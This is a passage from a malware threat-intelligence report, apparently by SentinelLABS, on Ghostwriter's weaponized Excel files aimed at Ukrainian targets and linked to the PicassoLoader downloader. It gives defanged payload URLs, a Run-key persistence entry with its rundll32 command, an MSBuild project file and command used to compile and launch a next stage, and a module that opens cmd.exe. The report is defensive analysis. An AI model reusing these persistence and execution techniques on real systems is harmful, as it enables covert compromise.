We note that the .shop top level domain was also reported in other Ghostwriter activity seen in 2024.

When the malware issues the HTTP request, it uses a hardcoded User-Agent string:

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/555.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

The fetched file (8d2bb96e69df059f279d97989690ce3e556a8318) is a benign JPEG file, originating from publicly available photo stock, with no extra payload or any hidden cave where code could be embedded. We confirmed that an identical file can be found online, located on a web site that is nearly identical to the one used by attackers. It would seem the attackers not only reused the JPG file contents from a legitimate website but also copied its original URL, changing only the top level domain:

https://www.everythingandthedog.com/petsblog/2020/2/25/tips-for-taking-difficult-dogs-on-a-walk.

Once the file is downloaded, it is renamed and then saved to %APPDATA%\Roaming\Microsoft\SystemCertificates\CertificateCenter.dll.

Later, it is registered to load during autostart by leveraging the Registry Run key:

HKCU\System\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Certificate Center

with its value pointing to expanded environment variable string:

rundll32.exe C:\Users\\AppData\Roaming\Microsoft\SystemCertificates\CertificateCenter.dll,#1

This Registry entry makes rundll32.exe load the DLL and execute its exported function with ordinal 1 whenever a user logs on.

During our analysis we only observed the benign JPG file being downloaded. However, based on the code analysis, we believe that the real targets receive an actual DLL. We assume that such a targeted payload delivery process is carefully controlled by the attackers and that they deliver the payload only after confirming the requesting client’s profile (browser user agent, IP address of the client, and matching time of the operation window). Research in a previous campaign found that a Cobalt Strike payload was delivered to targets only if the host IP was located in Ukraine.

Given the timing and targeting of the attack, we hypothesized that it may not have been an isolated incident. Further research led us to discover other samples closely resembling Weaponized XLS 1, suggesting that multiple attacks using the same techniques had been planned or executed. The samples used in these suspected attacks are described below.

Weaponized XLS 2 | Ukraine Gov “Anti-Corruption Initiative”

A file bearing the Ukrainian name Zrazok.xls (“Sample.xls”) is an XLS file (301ffdf0c7b67e01fd2119c321e7ae09b7835afc) with an obfuscated VBA macro embedded. However, the script code and obfuscation technique are different from the case we discussed earlier.

For this script, the attackers used a popular obfuscator tool called Macropack, an open-source but seemingly abandoned project originally developed for red-teaming and penetration testing exercises.

As in the previous case, once the macro code is executed, the .NET ConfuserEx-obfuscated Downloader DLL (written to %AppData%\Roaming\Microsoft\bruhdll32.dll) is loaded with rundll32.exe and respective commandline arguments to run an exported function. After this, the new module drops a decoy XLS file and opens it with Excel.

This module attempts to download the next stage from the following URL (unavailable at the time of writing):

https://sciencealert[.]shop/images/2024/11/black-hole-coronaxx.jpg

When the malware issues the HTTP request it uses a hardcoded User-Agent string that differs slightly from the previous case:

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Notably, this file (52e894acf0e14d27f8997d2174c1f40d6d87bba9) was previously uploaded to VirusTotal on December 19, 2024.

As with the previous case, the image file and its URL path appear to be copied from a public blog, published on Nov 16, 2024:

https://www.sciencealert.com/scientists-reveal-the-shape-of-a-black-holes-corona-for-the-very-first-time

Again, the file name and the path on the malicious server were nearly identical to the legitimate one, with the actor changing only the top level domain from .com to .shop.

https://www.sciencealert.com/images/2024/11/black-hole-coronaxx.jpg

In this case, the downloaded file is expected to be an archive in a GZIP format. Once downloaded, the malware decompresses it and saves it to the following location:

%APPDATA%\Roaming\Microsoft\SystemCertificates\CertificateCenter.dll

It also creates an additional text config file at:

%APPDATA%\Roaming\Microsoft\SystemCertificates\config

The config file contains the following data:

<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 <PropertyGroup>
  <AssemblyName>Certificate</AssemblyName>
  <OutputPath>Bin\</OutputPath>
 </PropertyGroup>
 <ItemGroup>
  <Compile Include="CertificateCenter.dll" />
 </ItemGroup>
 <Target Name="Build">
  <MakeDir Directories="$(OutputPath)" Condition="!Exists('$(OutputPath)')" />
  <Csc Sources="@(Compile)" OutputAssembly="$(OutputPath)$(AssemblyName).exe" />
 </Target>
</Project>

The config file is used by the Downloader to execute MSBuild.exe, instructing it to build a new application:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe %AppData%\Roaming\Microsoft\SystemCertificates\config

This suggests that the CertificateCenter.dll file is not a binary as the file extension would suggest but rather contains program source code. The command, if successful, produces an executable file in the following location:

%AppData%\Roaming\Microsoft\SystemCertificates\Bin\Certificate.exe

and likely contains the next stage of the infection chain.

Weaponized XLS 3 | “Supplies for Ukraine Armed Forces”

A file bearing the Ukrainian name Донесення 5 реч - зразок.xls (“Report 5 items – sample.xls”) is an XLS file (9d110879d101bcaec7accc3001295a53dc33371f) hosting another VBA payload obfuscated with Macropack.

As in the previous cases, once the macro code is executed, the .NET ConfuserEx-obfuscated Downloader DLL (written to %AppData%\Roaming\Microsoft\bruhdll32.dll) is loaded with rundll32.exe and respective commandline arguments to run an exported function. After this, the new module drops a decoy XLS file on disk and opens it with Excel.

Again, the malware uses the same payload retrieval technique and downloads a JPG file from yet another .shop domain:

https://cookingwithbooks[.]shop/images/qwerty.jpg

The URL is unavailable at the time of writing, but data from VirusTotal indicates that the downloaded file is identical to the black hole image described above in the Weaponized XLS 2 section. The malware logic is also identical with Weaponized XLS 2.

Weaponized XLS 4 & 5 | Variations on a Theme

In addition to the previous findings, we discovered further related XLS files that were similarly weaponized. The files Донесення 5 реч фонд зборів- зразок.xls (“Report 5 items collection fund- sample.xls”; 2c06c01f9261fe80b627695a0ed746aa8f1f3744) and Додаток 8 реч новий.xls (“Addition 8 items new – sample.xls”; 853da593d2a489c2bd72a284a362d7c68c3a4d4c) were first uploaded from Ukraine in Feb 2025.

Both files contain a Macropack-obfuscated VBA macro; however, they differ in structure. Functionally, both drop a DLL to the previously noted path %AppData%\Roaming\Microsoft\bruhdll32.dll.

Again, the DLL is loaded with rundll32.exe and respective command line arguments to execute an exported function. Next, the victim sees a decoy workbook open in Excel.

The decoys are similar and the obfuscation technique, code structure, and the embedded URL are common to both:

https://pigglywigglystores[.]shop/wp-content/themes/fp-wp-j-piggly-wiggly-nc/resources/images/logo/logo.png

The User-Agent string in the HTTP request, however, is different, with the operating system and architectures specified as “Windows NT 10.0; Win64; x64”.

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.71

These variants of the malware also contain another embedded .NET DLL, internally referred to as LibCMD from the original filename LibCMD.dll (4ae6b8adc980ba8a212b838f3ca6a9718d9a3757). This is a small file, whose purpose is simply to start cmd.exe and connect to stdin/stdout.

The file contains a tampered PE link timestamp. It is never saved to disk; instead, it is loaded dynamically in memory as a .NET assembly and executed.

Attribution

Analysis of techniques used by threat actors can often be helpful in establishing the origin of the attack and the malware it uses. In this case, the obfuscation techniques are quite specific across all the samples we analyzed, allowing us to establish a medium confidence link between them and a malware cluster known as PicassoLoader, a downloader toolkit.

PicassoLoader has been used in cyber attacks targeting government, military, and civilian entities in Ukraine and Poland and is exclusively associated with the Ghostwriter threat actor (aka UNC1151, UAC-0057, Blue Dev 4, Moonscape, TA445).

Throughout 2024, Ghostwriter has repeatedly used a combination of Excel workbooks containing Macropack-obfuscated VBA macros and dropped embedded .NET downloaders obfuscated with ConfuserEx. In our case, the Downloader malware appears to be a simplified implementation of the PicassoLoader.

Conclusion

The Ghostwriter threat actor has been consistently active in the past years and continues its attempts to compromise targets aligned with the interests of Belarus and its closest ally, Russia. It has mounted multiple attacks reported by CERT UA and other security researchers throughout 2024.

While Belarus doesn’t actively participate in military campaigns in the war in Ukraine, cyber threat actors associated with it appear to have no reservation about conducting cyberespionage operations against Ukrainian targets.

The campaign described in this publication also serves as confirmation that Ghostwriter is closely tied with the interests of the Belarusian government waging an aggressive pursuit of its opposition and organizations associated with it.

We would like to express our thanks to partners in the region, including RESIDENT.NGO and others who remain unnamed, for their invaluable collaboration.

Organizations that believe they may have been targeted by threat actors involved in this campaign are invited to reach out to the SentinelLABS team via ThreatTips@sentinelone.com.

Indicators of Compromise